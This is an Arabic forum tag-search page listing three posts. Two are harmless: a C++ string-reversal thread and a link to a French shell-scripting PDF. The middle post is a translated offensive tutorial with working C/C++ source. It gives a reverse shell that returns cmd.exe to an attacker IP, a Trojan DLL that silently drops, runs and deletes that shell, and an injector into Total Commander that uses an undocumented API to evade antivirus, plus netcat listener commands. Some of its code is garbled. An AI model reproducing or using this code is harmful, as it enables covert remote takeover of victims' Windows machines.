• الإعلانات

    • فيصل الحربي

      تسجيل عضوية جديدة في المنتدى   01/31/2016

      السلام عليكم ورحمة الله وبركاته  عزيزي العضو الجديد :  حاليا رسالة الإيميل لتأكيد صحة إيميلكم تذهب للبريد العشوائي ( جاري حل المشكلة )  فإذا لم تجد رسالة التحقق من إيميلكم في صندوق الوارد لديكم إتجه للبريد العشوائي ( JUNK)  وقم بتفعيل إشتراككم من هناك   

البحث في المنتدى

Showing results for tags 'Reverse Shell'.

  • البحث بالتاقات

    اكتب الكلمات المفتاحيه بينها علامه الفاصله
  • البحث بكاتب الموضوع

تم إيجاد 3 نتيجة

  1. السلام عليكم ورحمة الله وبركاته بكم طريقة مختلفة يُمكنك عكس نص مُدخل لطباعته على الشاشة ؟ سأبدأ ببعض الطرق، ولنشارك بطرق أخرى لتنشيط المهارات البرمجية، بأسرع/أسهل/أغرب/أبسط طريقة للقيام بذلك. 1- باستخدام string والمرور على عناصرها بالمقلوب #include <iostream> using namespace std; int main() { string s; cin>>s; for(int i=s.size()-1;i>=0;i--) { cout<<s[i]; } } 2- باستخدام string والتابع reverse من مكتبة algorithm (طريقة سهلة ومباشرة) #include <iostream> #include <algorithm> using namespace std; int main() { string s; cin>>s; reverse(s.begin(),s.end()); cout<<s; } 3- طريقتي المفضلة :) عن طريق stack واستخدام goto التي لا يحبها أحد #include <iostream> #include <stack> using namespace std; int main() { char c; stack <char>s; read_c: c=cin.get(); if(c=='\n') goto print; else { s.push(c); goto read_c; } print: while(!s.empty()) { cout<<s.top(); s.pop(); } } 4- عن طريق string ومعاملتها كـstack (طريقة سهلة ولطيفة) #include <iostream> using namespace std; int main() { string s; cin>>s; while(!s.empty()) { cout<<s.back(); s.pop_back(); } } سأستخدم for بدل while #include <iostream> int main() { std::string s; for(std::cin>>s;!s.empty();s.pop_back()) std::cout<<s.back(); }   من يضيف المزيد  ؟ من يستخدم C ؟
  2. إستعمال API Function غير موثّقة حقن DLL تقنية شعبية مستعملة من قبل مهاجمين لحَقْن ملفَ قابل للتّنفيذَ لكي يُؤدّي الى السيطرَة على الكود التنفيذي. وهنالك عِدّة طرق لمَنْع هذا قد طُوّرَت مِن قِبل صنَّاعِ نظامِ التشغيل، لكن (كما نحن سَنَرى) لم تنجح هذه الطرق 100 % . ما سوف تتعلم ... • كيف يتم إجراء حقن DLL على نظام ​​ويندوز 7 التمت في نهاية المطاف: أ) باستخدام API Function  الموثّقة في نظام التشغيل Windows  . ب) باستخدام API Function  غير الموثّقة في يندوز. وهذا الأسلوب أيضا تجاوز أساسيات ويندوز لمكافحة الفيروسات(the windows essentials anti-virus). • عندما يتم تنفيذ الحقن، وخاصة (غير قابل للكشف لحد الآن) يتم إرجاع الشل العكسي إلى المهاجم (وتظمنت شفرة المصدر ). وبالإضافة إلى ذلك، يتم تقديم وسيلة لإنشاء ملف قابل للتنفيذ PE من DLL في وقت التشغيل. ما يجب أن تعرفه ... يجب على الذين يقرؤن هذه المقالة ان يعرفوا بالفعل  كيفية البرمجة في C أو + +C  ويكون لديهم معرفة أساسية في windows API calls . وبالإضافة إلى ذلك، هناك حاجة إلى بعض المعارف من تقنيات الاستغلال على النحو التالي: • ما هو reverse shell وكيفية استخدامه. • كيف Netcat يمكن استخدامها للاستماع واتصالات عملية في الاختراق (http://netcat.sourceforge.net/). • الاستخدام الأساسي للارميتاج(Armitage) في (http://www.fastandeasyhacking.com).   سوف اقدم طريقتين لهجوم ناجح على ويندوز 7 في نهاية المطاف OS يقوم بإرجاع شل عكسي إلى المهاجم. يستخدم الأسلوب الأول API Function  الموثّقة CreateRemoteThread ويستخدم الأسلوب الثاني funNtCreateThreadEx غير الموثقة. لكنني أفضل أسلوب آلاخر وذلك لأن ألاول واحد يطلق إنذار للأمن النوافذ أساسيات مكافحة الفيروسات (http://is.gd/FkVx3A)، في حين الثاني لا! وبالإضافة إلى ذلك، شل العكسي لا يمكن الكشف عنها (طورت في + +C ) وسوف يتم استخدامها جنبا إلى جنب مع وسيلة لنقل أو تعبئة للتنفيذ داخل آخر قابل للتنفيذ (أو DLL). سيتم تنفيذ الهجوم النهائي باستخدام نهجين: النهج التقليدي (manual) التي أستخدمها Netcat فقط، و... النهج الرسمي حيث يمكنني استخدام ارميتاج معروفة من ترسانة Metasploit. والأرقام من الهجوم تكون متاحة لك. قبل أن نبدأ أود أن أوضح أن هذا المقال هو أسلوب استدعاء شل عكسي من خلال حقن DLL باستخدام API غير الموثقة في ويندوز 7.   الخطوات الأولى من أجل أداء مثل هذا الهجوم علينك أولا أن تقرر أي برنامج قابل للتنفيذ ونحن نريد ان نحقنة. على سبيل المثال أنا سوف احقن برنامج Total Commander program (http://www.ghisler.com)، مدير ويندوز المفضلة المبرمجين '(وليس فقط!). عن طريق حقن Total Commander program يعني أنه عندما يبدأ مستخدم هذا البرنامج في النظام الخاص به وسوف تحصل على الفور على الشل .   سوف انسخ byte code  من  reverse shell executable. /*AJVrs.cReverse shell in win32(c) by Andreas Venieris (aka thiseas) 2010Compile with VS 2008 from command line with cl:C:> cl AJVrs.c***************************************************************/#include <winsock2.h>#include <stdio.h>#pragma comment(lib, "Ws2_32.lib") // Inform the linker that// the Ws2_32.lib file is needed.#define DEFAULT_PORT 1234#define DEFAULT_IP "192.168.1.70"WSADATA wsaData;SOCKET Winsocket;STARTUPINFO theProcess;PROCESS_INFORMATION info_proc;struct sockaddr_in Winsocket_Structure;int main(int argc, char *argv[]){char *IP = DEFAULT_IP;short port = DEFAULT_PORT;if (argc == 3){strncpy(IP,argv[1],16);port = atoi(argv[2]);}WSAStartup(MAKEWORD(2,2), &wsaData);Winsocket=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL, (unsigned int) NULL, (unsigned int) NULL);Winsocket_Structure.sin_port=htons(port);Winsocket_Structure.sin_family=AF_INET;Winsocket_Structure.sin_addr.s_addr=inet_addr(IP);if(Winsocket==INVALID_SOCKET){WSACleanup();return 1;}if(WSAConnect(Winsocket,(SOCKADDR*)&Winsocket_Structure,sizeof(Winsocket_Structure),Structure),NULL,NULL,NULL,NULL) == SOCKET_ERROR){WSACleanup();}// Starting shell by creating a new process with i/o redirection.memset(&theProcess,0,sizeof(theProcess));theProcess.cb=sizeof(theProcess);theProcess.dwFlags=STARTF_USESTDHANDLES;// here we make the redirectiontheProcess.hStdInput = theProcess.hStdOutput = theProcess.hStdError = (HANDLE)Winsocket;// fork the new process.if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&theProcess,&info_proc)==0){WSACleanup();return 1;}return 0;}الأسلوب 1. تحقق مما إذا توتال كوماندر قيد التشغيل. 2. إذا كان يعمل احقنه، والعودة شل عكسي إلى عنوان IP معين، ثم متابعة تشغيل توتال كوماندر. 3. إذا كان المجموع قائد ليست قيد التشغيل goto 1. أسلوبي سوف استخدام ثلاثة برامج: 1. totalcmd.exe (توتال كوماندر): هو البرنامج الذي من شأنه أن يؤدي الهجوم كله. 2. myDLL.DLL: هو DLL التي سيتم استخدامها كحصان طروادة. وسوف تحمل شل عكسي. واحد من مسؤولياتها الرئيسية هي عند حدوث DLL_PROCESS_ATTACH فإنه سيتم فك شل عكسي إلى القرص وتنفيذه. 3. dllattack08.exe: هو البرنامج الذي عند تنفيذ أنه سيبقى في الذاكرة في انتظار تنفيذ الخطوات المذكورة أعلاه 3 من الطريقة.   خلق شل عكسي وسأقدم هنا شفرة المصدر الخاص بي للشل العكسي الخاص بي (قائمة 1). البرنامج أعلاه يمكن استخدامها كما هو (كما استبدلت من Netcat) أو بالتزامن معها. استعمال لتشغيل شل بنجاح نحتاج لأداء المهام الاثنين التالية : المهمة 1: في مربع المهاجمين تشغيل Netcat للاستماع للاتصال: on fedora : nc -l 1234 on ubuntu : nc -v -l -p 1234 on windows : nc -v -l -p 1234   المهمة 2: في بصندوق الضحية، تشغيل للشل العكسي الخاص بي نفسه: c:> AJVrs.exe <attackerIP> 1234 تخزين التعليمات البرمجية القابلة للتنفيذ من shell العكسي الخاص بي داخل برنامج سنقوم بتخزين رمز قابل للتنفيذ داخل DLL (أننا ذاهبون لاستخدامها لاحقا) في النظام ليتم تنفيذها عند الحاجة إليه (سأشرح لاحقا كيف). وبالتالي، لا بد لي من الحصول على رمز البايت للشل العكسي ووضعها في الداخل إلى برنامج آخر. هناك العديد من الطرق للقيام بذلك. والهدف هو لتخزين للشل العكسي الخاص بي كامل للتنفيذ داخل byte array ومن ثم كتابة هذا byte array إلى القرص مع اسم جديد. الملف الجديد الذي سيتم إنشاؤه يكون قابل للتنفيذ PE العادي (http://en.wikipedia.org/wiki/Portable_Executable)! أنا سوف افتح reverse shell executable الخاص بي للتنفيذ للشل 'AJVrs.exe' باستخدام برنامج UltraEdit محرري المفضل (والذي هو محرر اعرفة أيضا). تحديد الكل، انقر على الحق واختر نسخ الهيكس مشاهدة مختارة . أنا سوف الصق الرمز المختار في ملف جديد؛ أنتقل إلى تحديد العمود (البديل + C) وحدد كل byte code. ثم انقر فوق الحق والنسخ . أنا وضعت وحدات البايت المحدد إلى ملف جديد وأنا وضعت \ X بين كل رقم ست عشرية، كما يدل المثال التالي:   المهمة أعلاه يمكن أن يتحقق سريعة جدا اذا كنا استبدال كافة المسافات مع \ X. ولكن مرة أخرى نحن سوف تفقد الأحرف الأولى في كل سطر. لذلك فمن الحكمة إذا علينا أولا نقل كافة النص موضع واحد على اليمين: مثال From:4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00To:4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00Just to make one space.هذهsource code الخاص بال Trojan DLL    // The Trojan DLL// (c) by Andreas Venieris (aka Thiseas) 2010//////////////////////////////////////////////////////#include<stdio.h>#include <windows.h>// In recerseshell I just put contents of the file MyTempByteCode.txtchar recerseshell[] ="\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00""\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD0\x00\x00\x00""\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68""\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F"......"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";BOOL WINAPI DllMain(HANDLE hinstance, DWORD dwReason, LPVOID lpReserved){switch(dwReason)case DLL_PROCESS_ATTACH:int i, len = sizeof(recerseshell);FILE *ptr ;ptr = fopen("\\DLLInjection\\DirtyShell.exe", "wb");for (i=0; i<len; i++)fprintf(ptr, "%c",recerseshell[i]);fclose(ptr);Sleep(1000);WinExec("\\DLLInjection\\DirtyShell.exe 192.168.57.147 6666", SW_HIDE);Sleep(1000);WinExec("cmd /c ""del \\DLLInjection\\DirtyShell.exe"" ", SW_HIDE);الآن، يجب أن أضع كل سطر واحد في علامات اقتباس مزدوجة. باستخدام وضع عمود (البديل + C) يمكنني بسهولة أرفق كل سطر بين علامات الاقتباس المزدوجة ("...") من أجل تلبية هدفي النهائي . طيب، هذا كل شيء. أنا حفظ هذا الملف على القرص مع اسم MyTempByteCode.txt. الخطوة 3: إنشاء DLL حان الوقت لإنشاء DLL. هو DLL التي سيتم استخدامها كحصان طروادة. وسوف تحمل للشل العكسي الخاص بي داخله. واحد من مسؤولياتها الرئيسية هي عندما DLL_PROCESS_ // dllattack08.cpp// (c) by Andreas Venieris (aka Thiseas) 2010//البرنامج الذي يقوم بتشغيل DLL ويجعلة يحقن////////////////////////////////////////////////////#include <windows.h>#include <TlHelp32.h>#include <shlwapi.h> // Add Lib: Shlwapi.lib#include <stdio.h>typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx)(OUT PHANDLE hThread,IN ACCESS_MASK DesiredAccess,IN LPVOID ObjectAttributes,IN HANDLE ProcessHandle,IN LPTHREAD_START_ROUTINE lpStartAddress,IN LPVOID lpParameter,IN BOOL CreateSuspended,IN ULONG StackZeroBits,IN ULONG SizeOfStackCommit,IN ULONG SizeOfStackReserve,OUT LPVOID lpBytesBuffer);//Buffer argument passed to NtCreateThreadEx functionstruct NtCreateThreadExBuffer{ULONG Size;ULONG Unknown1;ULONG Unknown2;PULONG Unknown3;ULONG Unknown4;ULONG Unknown6;PULONG Unknown7;ULONG Unknown8;};HANDLE GetProcessHandle(LPCWSTR szExeName, DWORD *ProcessID){PROCESSENTRY32 Pc = { sizeof(PROCESSENTRY32) } ;HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);if(Process32First(hSnapshot, &Pc)){do{if(StrStrI(Pc.szExeFile, szExeName)) {*ProcessID = Pc.th32ProcessID;return OpenProcess(PROCESS_ALL_ACCESS, TRUE, Pc.th32ProcessID);}}while(Process32Next(hSnapshot, &Pc));}return NULL;}BOOL DllInject(HANDLE hProcess, LPSTR lpszDllPath){Sleep(2000);HMODULE hmKernel = GetModuleHandle(L"Kernel32");//heres the DLLif(hmKernel == NULL || hProcess == NULL)return FALSE;int nPathLen = strlen(lpszDllPath); //MAX_PATH; //LPVOID lpvMem = VirtualAllocEx(hProcess, NULL, nPathLen, MEM_COMMIT, PAGE_READWRITE);if (lpvMem == NULL)return FALSE;if (!WriteProcessMemory(hProcess, lpvMem, lpszDllPath, nPathLen, NULL))return FALSE;DWORD dwWaitResult= 0, dwExitResult = 0;HANDLE hThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)GetProcAddress(hmKernel, "LoadLibraryA"),lpvMem,0,NULL);dwWaitResult = WaitForSingleObject(hThread, 10000); // keep the dll injection action for 10 seconds before free.GetExitCodeThread(hThread, &dwExitResult);CloseHandle(hThread);VirtualFreeEx(hProcess, lpvMem, 0, MEM_RELEASE);return (1);}else{return (0);ATTACH يحدث فإنه سيتم فك للشل العكسي إلى القرص وتنفيذه. أنا قمت بإنشاؤها باستخدام لغة + +C  في Microsoft Visual Studio 2008 . شفرة المصدر لا تحتاج إلى تفسير(self-explanatory): متى سيتم تشغيل عملية ATTACH، سأكتب byte code العكسي إلى الملف، وسيتم تنفيذ ذلك (من أجل فتح الشل العكسي) وسوف احذفه من القرص في النظام لإخفاء my tracks.   الخطوة الرابعة: تنفيذ الحقن الآن أَحتاجُ  برنامج لتشغيل DLL أعلاه. هذا هو برنامج الـ3  الذي يَلْعبُ دور: dllattack 08. exe: هو واحد من البرامج الذي سَيُؤدّي عملية الحقنَ الفعليةَ لبرنامج Total Commander بإستعمال documented API function الموثق ، undocumented  API function  غير موثّق  (في حالة الخلسةَ). لقد برمجت ذلك  بإستعمال البرنامجِ C++ VS 2008 . CreateRemoteThread الموثّق: DllInject(hProcess, „\\DLLInjection\\myDLL.dll”) sizeof (tp), NULL, NULL))return(GetLastError());CloseHandle(hToken);}int main(int argc, char *argv[]){DWORD CurrentSessionID, RemoteSessionID, RemoteProcessID;LPCWSTR lpVictimProcess = TEXT("totalcmd.exe");char *cpVictimProcess = "totalcmd.exe";printf("DLL Injection.\n");if ( ActivateSeDebugPrivilege() == 1)printf("Get All Privilege.\n");elseprintf("Cannot Get All Privilege.\n");printf("Waiting for process %s...",cpVictimProcess);HANDLE hProcess;do{hProcess = GetProcessHandle(lpVictimProcess, &RemoteProcessID);Sleep(1);}while(hProcess == NULL);printf("\nFound! Try to inject...");if (!ProcessIdToSessionId( GetCurrentProcessId(), &CurrentSessionID )){printf("\nFailed to get the current session with error %d", GetLastError());}if (!ProcessIdToSessionId( RemoteProcessID, &RemoteSessionID )){printf("\nFailed to get the remote session with error %d", GetLastError());}if (DllInject_2(hProcess, "\\DLLInjection\\myDLL.dll"))printf("\nSUCCESSFUL!\n");elseprintf("\nFailed!\n");return 0;} الشكل اعلاه عندما يتم تنفيذ حقن DLL في ويندوز من قبل المهاجم (أوبونتو) يحصل على الشل العكسي وظيفة يأخذ 2 معطيات: قبض عملية البرنامج الذي يجري ليتم حقنه واسم الملف DLL الفعلية التي سيتم ATTACH على حقن البرنامج التنفيذي. وكما ترون هذا هو  بما يمكنك لفعل أي شيء تريد ... ؛)   موضوع آخرمثير للاهتمام هو استخدام وظيفة SeDebugPrivilege على أنها محاولة للحصول على أكبر عدد من الامتيازات بشكل ممكن: عن طريق تعيين امتياز SeDebugPrivilege على عملية قيد التشغيل، يمكنك الحصول على مقبض عملية من أي تطبيق قيد التشغيل. عندما الحصول على مقبض العملية، يمكنك ثم تحديد علامة PROCESS_ALL_ACCESS، والتي سوف تسمح استدعاء من مختلف Win32 APIs و على أن التعامل مع عملية، والتي عادة لا يستطيع أن يفعل. (http://support.microsoft.com/kb/185215) هذا مثير للاهتمام حقا. وفقا للتجاربي، ما سبق هو ليس 100٪ صحيح لنظام التشغيل Windows 7، ولكن الأمر يستحق المحاولة ... على أي حال. هناك عائقا مهما من هذا الأسلوب هو أنه يتسبب تحذير Microsoft Security Essentials Antivirus. لقد وجدت بأن سبب التنبيه هو استخدام API CreateRemoteThread داخل الدالة DllInject. لذلك، يمكنني استبدال هذه الوظيفة مع شيئ جديد ولكن ... واحدة غيرموثقة! لشرح كيف نجد ونحليل وظائف ويندوز API غير الموثقة ( سأحاول أن أشرح في مقال آخر). ويتم تنفيذ استدعاء API غير الموثقة في DllInject_2 function. وكان التغيير الوحيد على التعليمات البرمجية من أجل استدعاء API هذا هو استبدال خط 7TH من الجزء السفلي من شفرة المصدر أعلاه: Fromif (DllInject(hProcess, „\\DLLInjection\\myDLL.dll”))Toif (DllInject_2(hProcess, „\\DLLInjection\\myDLL.dll”))وهذا كل شيء. يمكنك أن تصبح الشبح على الشبكة! والمهاجمة باستخدام الطريقة اليدوية وفيما يلي مثال للهجوم باستخدام الطريقة اليدوية (التقليدية) : مهاجمة باستخدام Metasploit أرميتاج Metasploit (http://www.metasploit.com/) هو أداة مهنية لاختبارات الاختراق وليس فقط ذلك وحسب. أرميتاج (http://www.fastandeasyhacking.com/) هو الواجهة الأمامية (أستطيع أن أقول) لmetasploit. هذه الأداة يمكن استخدامها لأداء نفس الهجوم. ويمكن استخدامه كعميل للاستماع إلى منفذ 6666 من أجل الحصول على الشل العكسي الخاص بنا. نلقي نظرة هنا: واحدة من الأشياء المثيرة للاهتمام هنا هو أن أي شل عكسي يمكن استخدامها. يمكنك (على سبيل المثال) إنشاء واحدة مشفرة باستخدام Metasploit، والحصول على التعليمات البرمجية الخاصة به بالنظام الثنائي، ووضعها في DLL الخاص بي وتنفيذ الهجوم. هذه الطريقة السورس كود  بما يكفي لدعم مثل هذه التقنيات.
  3. بسم الله الرحمن الرحيم وبعد فهذا كتيب مفيد في مبادئ لغة الشل السكريب باللغة الفرنسية وقد أحببت أن أرفعه على سيرفر المنتدى لدوام الانتفاع به langage_shell_3-4.pdf